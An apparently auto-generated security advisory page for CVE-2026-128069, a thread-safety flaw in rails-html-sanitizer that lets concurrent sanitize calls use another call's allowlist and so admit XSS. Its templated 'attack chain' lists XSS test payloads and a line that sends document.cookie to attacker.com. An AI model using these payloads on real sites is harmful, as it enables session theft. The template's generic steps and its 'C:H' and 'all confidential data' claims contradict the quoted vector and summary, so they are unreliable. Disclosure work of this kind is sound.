CVE-2026-128069 — Rails-html-sanitizer — CWE-79 · CWE-362
CVE-2026-128069 is a MEDIUM severity Cross-Site Scripting (XSS) vulnerability (CWE-79, CWE-362) (CVSS 4.7/10 (EPSS: 0.2%)) affecting Rails-html-sanitizer. Technical vector analysis shows that an attacker can exploit this flaw remotely over the network without authentication (PR:N) requiring user interaction, triggering a scope change (S:C) across connected components and allowing unauthorized disclosure of sensitive data (C:H).
📄 Official NVD / MITRE Original Record Text
## Summary `Rails::HTML::SafeListSanitizer` (both the HTML4 and HTML5 variants) shares one `Rails::HTML::PermitScrubber` across every `sanitize` call on the same instance, assigning its `tags` and `attributes` on each call without synchronization. Two concurrent `sanitize` calls with different `tags:` or `attributes:` options can interleave, so one call is scrubbed with the other call's allowlist. - Versions affected: `< 1.7.2` - Not affected: none - Fixed versions: `1.7.2` ## Impact Action View memoizes a single `SafeListSanitizer` per helper module and uses it for every `sanitize` call in the process, so in a multi-threaded server (for example Puma) all requests share the same `PermitScrubber`. If any code path calls `sanitize` with a more permissive allowlist, an attacker who can trigger that path concurrently with another request can cause the other request to be sanitized with the permissive allowlist. If the permissive allowlist admits `script` or an event-handler attribute, the strict call emits it unchanged, which is a cross-site scripting vector when the strict output is stored or rendered to other users. Applications are affected only if they run more than one thread per process and some `sanitize` call passes `tags:` or `attributes:` options that differ from another call's, including a call that passes no options and so uses the defaults. Applications that use a single configuration everywhere, pass their own `scrubber:`, or run single-threaded are not affecte
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-128069
CVSS 4.7/10 · MEDIUM · 13.11.2026
CWE: CWE-79, CWE-362
Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🎯 WHAT IS THIS VULNERABILITY?
Cross-Site Scripting (XSS)
Summary: ## Summary
Rails::HTML::SafeListSanitizer (both the HTML4 and HTML5 variants) shares one Rails::HTML::PermitScrubber across every sanitize call on the same instance, assigning its tags and attributes on each call without synchronization. Two concurrent sanitize calls with different tags: or attributes: options can interleave, so one call is scrubbed with the other call's allowl…
Affected: rails-html-sanitizer
⚡ ATTACK CHAIN
Attack steps:
1. Identify reflection points (search, comments, profile fields).
2. Test: <script>alert(document.domain)</script> or <img src=x onerror=alert(1)>
3. Session hijacking: fetch('https://attacker.com/?c='+document.cookie)
4. Stored XSS: inject persistent payload in user-controlled fields.
5. Browser exploitation via BeEF.
🔧 Tools: BeEF, XSStrike, Dalfox, Burp Suite
🗺️ MITRE ATT&CK: T1189 (Drive-by Compromise), T1185 (Browser Session Hijacking)
🌍 REAL WORLD IMPACT
All confidential data readable/stealable; pivot to other systems possible.
🛡️ REMEDIATION
→ Apply vendor security update for rails-html-sanitizer.
→ Add CSP headers, HTML-encode all user input.
→ Pre-patch: put service behind VPN or apply IP allowlist.
→ Add WAF rule, create IDS alert for anomalous traffic.
⚠️ URGENCY
📋 Routine update cycle (30 days)
────────────────────────────────────────
[Kural Tabanlı Otomatik Güvenlik Analizi]